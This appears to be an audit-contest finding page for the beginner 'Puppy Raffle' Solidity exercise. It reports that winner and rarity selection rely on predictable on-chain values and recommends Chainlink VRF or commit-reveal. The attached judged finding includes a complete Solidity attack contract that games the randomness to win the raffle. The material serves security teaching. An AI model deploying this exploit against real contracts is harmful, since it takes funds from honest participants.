Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

CRIT-01: Weak On-Chain Randomness - Winner Selection & Rarity Manipulation

tinykitten

CRIT-01: Weak On-Chain Randomness - Winner Selection & Rarity Manipulation

Description

The selectWinner() function uses keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)) for winner selection and keccak256(abi.encodePacked(msg.sender, block.difficulty)) for rarity determination. Both entropy sources are predictable and manipulable:

  • block.difficulty is deprecated post-Merge (EIP-4399) and replaced by prevrandao which is also manipulable by validators

  • block.timestamp can be influenced by miners/validators within ~15 seconds

  • msg.sender is known to the caller

  • The same caller who invokes selectWinner() controls the entropy inputs

An attacker can compute the exact winner index and rarity before calling the function, allowing them to only call when they win a legendary puppy.

// Root cause in the codebase with @> marks to highlight the relevant section
function selectWinner() external {
// ...
@> uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
// ...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
}

Risk

Likelihood:

  • Occurs every time selectWinner() is called

  • Attacker can pre-compute outcome off-chain and only submit transaction when favorable

Impact:

  • Complete predictability of raffle outcome

  • Attacker can guarantee winning legendary NFTs

  • Undermines the entire fairness premise of the protocol

  • Financial loss for honest participants

Proof of Concept

// Attacker can pre-compute winner and rarity off-chain
// Only call selectWinner() when:
// 1. winnerIndex points to attacker's address
// 2. rarity falls in legendary range (96-99)
function attack() external {
// Simulate locally to find winning block
// Then call selectWinner() at that exact block
}

Recommended Mitigation

- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Use Chainlink VRF or commit-reveal scheme
+ // Example with commit-reveal:
+ // 1. Owner commits to random seed
+ // 2. After raffle ends, owner reveals seed
+ // 3. winnerIndex = uint256(keccak256(abi.encodePacked(revealedSeed, block.number))) % players.length;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 7 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!